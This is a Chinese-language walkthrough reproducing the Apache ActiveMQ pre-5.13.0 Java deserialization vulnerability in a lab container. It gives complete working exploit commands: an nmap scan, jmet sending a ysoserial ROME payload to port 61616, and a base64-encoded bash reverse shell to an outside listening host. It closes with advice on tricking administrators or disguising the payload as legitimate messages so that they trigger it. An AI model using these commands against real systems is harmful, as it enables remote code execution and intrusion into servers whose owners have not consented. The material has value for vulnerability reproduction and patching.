漏洞描述
Apache ActiveMQ 是由美国 Pachitea (Apache) 软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。
影响版本:Apache ActiveMQ 5.13.0之前5.x版本,该程序导致的漏洞并不限制可以在代理中序列化的类。远程攻击者可以利用此漏洞使特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象执行任意代码。
它将在端口 61616 和 8161 上建立两个端口。端口 61616 是工作端口,消息在此端口上传递。端口 8161 是网页管理页面端口。访问方面,可以看到网络管理页面,但是这个漏洞理论上并不需要网络。
漏洞利用流程如下
1、生成序列化有效负载(可以使用 ysoserial)
2、将有效负载发送到端口 61616
3、访问 Web 管理页面并阅读序列化消息,然后您可以触发漏洞
复现过程
1、扫描IP开放端口信息
nmap -sC -sV 192.168.3.243 -p-
发现其开放61616端口,运行apachemq ActiveMQ
2、下载jmet(Java 消息利用工具),在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
3、执行命令,将有效负载发送到目标IP的61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.3.243 61616
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。
4、这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.168.3.243:8161/admin/queues.jsp;jsessionid=1bz5fbkl1zhbu1g6b2qjtiakd看到这个队列中所有消息:
点击查看这条消息即可触发命令执行
5、登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建
查看容器id
sudo docker ps -a
得到ActiveMQ容器id 27ef409aae5d
6、登录容器环境
docker exec -it 27ef409aae5d bash
7、查询tmp目录下的文件
ls -la /tmp/
8、将命令替换成弹shell的语句再利用
bash -i >& /dev/tcp/192.200.3.242/31005 0>&1
Base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=
bash64解码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}
9、kali开启端口监听
nc -lvvp 31005
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.3.243 61616
记住ID号,后面会用到
kali-34033-1721830306563-0:1
点一个触发shell
漏洞利用思路
通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发
总结
通过 Web 管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱使管理员访问我们的链接触发,或者伪装成其他服务的合法消息在触发时需要等待客户端访问。